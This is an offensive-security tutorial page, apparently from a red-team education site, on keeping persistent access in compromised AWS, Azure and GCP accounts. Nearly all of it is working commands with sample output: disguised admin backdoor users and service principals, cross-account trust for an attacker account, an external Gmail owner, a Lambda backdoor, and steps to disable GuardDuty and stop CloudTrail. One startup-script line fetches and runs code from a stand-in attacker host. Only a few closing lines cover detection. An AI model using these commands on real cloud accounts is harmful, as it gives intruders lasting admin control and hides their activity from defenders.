



◆ OFFENSIVE SECURITY SERIES ◆

CLOUD PERSISTENCE & BACKDOORS

IAM Backdoors, Serverless, Cross-Account & Evasion

IAM Backdoor · Azure SP · GCP SA · Lambda · Cross-Account · CloudTrail

AWS IAM Backdoor

Azure SP

GCP SA Key

Lambda Backdoor

Cross-Account

CloudTrail Gap

Detection

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

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01 — AWS PERSISTENCE

Backdoor IAM + Cross-Account

```

AWS Persistence – Backdoor IAM + Cross-Account Trust

# AWS – create backdoor IAM user with admin access
$ aws iam create-user --user-name "system-health-monitor" --profile admin
{"User":{"Path":"/","UserName":"system-health-monitor","UserId":"AIDAIOSFODNN7PERSIST","Arn":"arn:aws:iam::123456789012:user/system-health-monitor","CreateDate":"2024-01-15T09:50:00+00:00"}}

$ aws iam attach-user-policy --user-name "system-health-monitor" --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile admin
$ aws iam create-access-key --user-name "system-health-monitor" --profile admin
{"AccessKey":{"UserName":"system-health-monitor","AccessKeyId":"AKIAIOSFODNN7BACKDOOR","Status":"Active","SecretAccessKey":"BackdoorSecretKey123XYZabcDEFghiJKLmno"}}

# Add cross-account trust to AdminRole
$ aws iam update-assume-role-policy --role-name AdminRole --policy-document '{"Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::ATTACKER_ACCOUNT:root"},"Action":"sts:AssumeRole"}]}' --profile admin

# Now attacker account can assume AdminRole anytime
$ aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name persist --profile attacker
{"Credentials":{"AccessKeyId":"ASIAIOSFODNN7ASSUMED","SecretAccessKey":"AssumedSecretKey123...","SessionToken":"AQoXnyc4...","Expiration":"2024-01-15T22:00:00+00:00"}}

```

Figure: Backdoor IAM user with AdminAccess, cross-account trust allows any-time role assumption



02 — AZURE & GCP

SP Backdoor + External Identity

```
Azure SP + GCP External Identity + CloudTrail Gap

# Azure — create backdoor service principal with Owner role
$ az ad sp create-for-rbac --name "Azure-SystemMonitor" --role Owner --scopes /subscriptions/SUB_ID
{
  "appId": "b1c2d3e4-1234-abcd-5678-f9e0d1c2b3a4",
  "displayName": "Azure-SystemMonitor",
  "password": "BackdoorP@ss2024!XYZabc123",
  "tenant": "9a8b7c6d-5e4f-3a2b-1c0d-e9f8a7b6c5d4"
}

# GCP — add external Gmail identity with Owner role
$ gcloud projects add-iam-policy-binding targetproject-prod --member "user:attacker@gmail.com" --role "roles/owner"
Updated IAM policy for project [targetproject-prod].
bindings:
- members:
  - user:attacker@gmail.com
  role: roles/owner

# AWS — check CloudTrail status (evasion awareness)
$ aws cloudtrail get-event-selectors --trail-name prod-trail --profile admin
{"EventSelectors":[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]}
# DataResources empty = S3 data events NOT logged! S3 exfil undetected.
```

Figure: Azure SP with Owner role, GCP external identity added, CloudTrail misses S3 data events



03 — CHEAT SHEET

Quick Reference

AWS backdoor user	<code>aws iam create-user --user-name NAME && attach AdministratorAccess && create-access-key</code>
AWS extra admin key	<code>aws iam create-access-key --user-name existing-admin (second key, less visible)</code>
AWS cross-account trust	<code>aws iam update-assume-role-policy --role-name AdminRole --policy-document '{ "Statement": [{ "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::ATTACKER:root" }, "Action": "sts:AssumeRole" }] }'</code>
AWS Lambda backdoor	<code>aws lambda update-function-code --function-name FUNC --zip-file fileb://backdoor.zip</code>
AWS EventBridge cron	<code>aws events put-rule --name check --schedule-expression "rate(1 hour)"</code>
AWS disable GuardDuty	<code>aws guardduty update-detector --detector-id ID --no-enable (VERY NOISY)</code>
AWS CloudTrail stop	<code>aws cloudtrail stop-logging --name TRAIL (HIGHEST RISK – immediate alert)</code>
AWS check trail gaps	<code>aws cloudtrail get-event-selectors --trail-name TRAIL (empty DataResources = S3 unmonitored)</code>
Azure backdoor SP	<code>az ad sp create-for-rbac --name Monitor --role Owner --scopes /subscriptions/SUB_ID</code>
Azure guest invite	<code>az ad invitation create --invited-user-email attacker@gmail.com</code>
Azure app credential	<code>az ad app credential reset --id APP_ID --append</code>
GCP backdoor SA	<code>gcloud iam service-accounts create NAME && add-iam-policy-binding → roles/owner && create key</code>
GCP external user	<code>gcloud projects add-iam-policy-binding PROJECT --member user:attacker@gmail.com --role roles/owner</code>
GCP startup script	<code>gcloud compute instances add-metadata VM --metadata "startup-script=curl ATTACKER/backdoor.sh bash"</code>
Detect AWS persistence	<code>aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser</code>
Detect Azure persistence	<code>az monitor activity-log list --filter "operationName eq Microsoft.Authorization/roleAssignments/write"</code>
Detect GCP persistence	<code>gcloud logging read "protoPayload.methodName=SetIamPolicy" --limit 20</code>



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